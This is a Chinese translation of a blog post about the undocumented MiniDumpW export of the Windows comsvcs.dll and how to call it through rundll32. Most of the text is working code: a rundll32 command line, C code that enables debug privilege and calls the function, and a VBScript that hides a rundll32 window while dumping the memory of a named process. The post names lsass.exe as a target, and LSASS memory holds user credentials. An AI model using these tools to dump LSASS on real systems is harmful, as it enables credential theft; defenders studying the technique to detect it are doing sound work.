利用COM+服务DLL实现MiniDumpWriteDump内存转储技术

本文深入探讨了Windows系统comsvcs.dll中一个未公开的函数MiniDumpW,该函数可通过rundll32调用实现进程内存转储。文章提供了详细的C语言和VBScript代码示例,展示了如何动态调用此函数并获取调试权限来转储目标进程(如lsass.exe)的内存。

MiniDumpWriteDump via COM+ Services DLL

Posted on August 30, 2019 by odzhan

引言

这是一篇非常快速、以代码为导向的文章,内容是关于comsvcs.dll导出的一个DLL函数,我在网上找不到任何相关参考资料。

更新:Dmitry Vostokov于2008年出版的《Memory Dump Analysis Anthology Volume 1》中,有一章关于COM+崩溃转储的内容讨论了此函数。我之前没有找到的原因是,我搜索的是“MiniDumpW”而不是“MiniDump”。

在搜索导入DBGHELP!MiniDumpWriteDump的DLL/EXE时,我发现comsvcs.dll导出了一个名为MiniDumpW的函数,该函数似乎是专门为配合rundll32使用而设计的。它接受三个参数,但前两个参数会被忽略。第三个参数应该是一个包含在引号中的UNICODE字符串,该字符串由三个令牌/参数组合而成:第一个是进程ID,第二个是内存转储文件的保存位置,第三个要求使用关键字“full”,尽管最后一个参数没有其他替代选项。

要从命令行使用,请输入以下内容:"rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"",其中“1234”是要转储的目标进程。显然,这假定您有权查询和读取目标进程的内存。如果COMSVCS!MiniDumpW遇到错误,它只会调用KERNEL32!ExitProcess,您将看不到任何提示。以下C代码演示了如何动态调用它。

顺便说一下,HRESULT可能是不正确的返回类型。在内部,如果遇到参数问题,它会以E_INVALIDARG退出进程;但如果成功,则返回1。S_OK定义为0。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#define UNICODE
#include <windows.h>
#include <stdio.h>

typedef HRESULT (WINAPI *_MiniDumpW)(
  DWORD arg1, DWORD arg2, PWCHAR cmdline);
  
typedef NTSTATUS (WINAPI *_RtlAdjustPrivilege)(
  ULONG Privilege, BOOL Enable, 
  BOOL CurrentThread, PULONG Enabled);

// "<pid> <dump.bin> full"
int wmain(int argc, wchar_t *argv[]) {
    HRESULT             hr;
    _MiniDumpW          MiniDumpW;
    _RtlAdjustPrivilege RtlAdjustPrivilege;
    ULONG               t;
    
    MiniDumpW          = (_MiniDumpW)GetProcAddress(
      LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
      
    RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
      GetModuleHandle(L"ntdll"), "RtlAdjustPrivilege");
    
    if(MiniDumpW == NULL) {
      printf("Unable to resolve COMSVCS!MiniDumpW.\n");
      return 0;
    }
    // try enable debug privilege
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
        
    printf("Invoking COMSVCS!MiniDumpW(\"%ws\")\n", argv[1]);
   
    // dump process
    MiniDumpW(0, 0,  argv[1]);
    printf("OK!\n");
    
    return 0;
}

由于rundll32和comsvcs!MiniDumpW都不会启用访问lsass.exe所需的调试权限,以下VBScript在提升权限的进程中可以工作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Option Explicit

Const SW_HIDE = 0

If (WScript.Arguments.Count <> 1) Then
    WScript.StdOut.WriteLine("procdump - Copyright (c) 2019 odzhan")
    WScript.StdOut.WriteLine("Usage: procdump <process>")
    WScript.Quit
Else
    Dim fso, svc, list, proc, startup, cfg, pid, str, cmd, query, dmp
    
    ' get process id or name
    pid = WScript.Arguments(0)
    
    ' connect with debug privilege
    Set fso  = CreateObject("Scripting.FileSystemObject")
    Set svc  = GetObject("WINMGMTS:{impersonationLevel=impersonate, (Debug)}")
    
    ' if not a number
    If(Not IsNumeric(pid)) Then
      query = "Name"
    Else
      query = "ProcessId"
    End If
    
    ' try find it
    Set list = svc.ExecQuery("SELECT * From Win32_Process Where " & _
      query & " = '" & pid & "'")
    
    If (list.Count = 0) Then
      WScript.StdOut.WriteLine("Can't find active process : " & pid)
      WScript.Quit()
    End If

    For Each proc in list
      pid = proc.ProcessId
      str = proc.Name
      Exit For
    Next

    dmp = fso.GetBaseName(str) & ".bin"
    
    ' if dump file already exists, try to remove it
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Removing " & dmp)
      fso.DeleteFile(dmp)
    End If
    
    WScript.StdOut.WriteLine("Attempting to dump memory from " & _
      str & ":" & pid & " to " & dmp)
    
    Set proc       = svc.Get("Win32_Process")
    Set startup    = svc.Get("Win32_ProcessStartup")
    Set cfg        = startup.SpawnInstance_
    cfg.ShowWindow = SW_HIDE

    cmd = "rundll32 C:\windows\system32\comsvcs.dll, MiniDump " & _
          pid & " " & fso.GetAbsolutePathName(".") & "\" & _
          dmp & " full"
    
    Call proc.Create (cmd, null, cfg, pid)
    
    ' sleep for a second
    Wscript.Sleep(1000)
    
    If(fso.FileExists(dmp)) Then
      WScript.StdOut.WriteLine("Memory saved to " & dmp)
    Else
      WScript.StdOut.WriteLine("Something went wrong.")
    End If
End If

从提升权限的cmd提示符运行。

不知道这有多大用处,但由于它是操作系统的一部分,可能还是值得了解的。也许您会在已签名的二进制文件中找到类似的功能,用于执行目标进程的内存转储。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计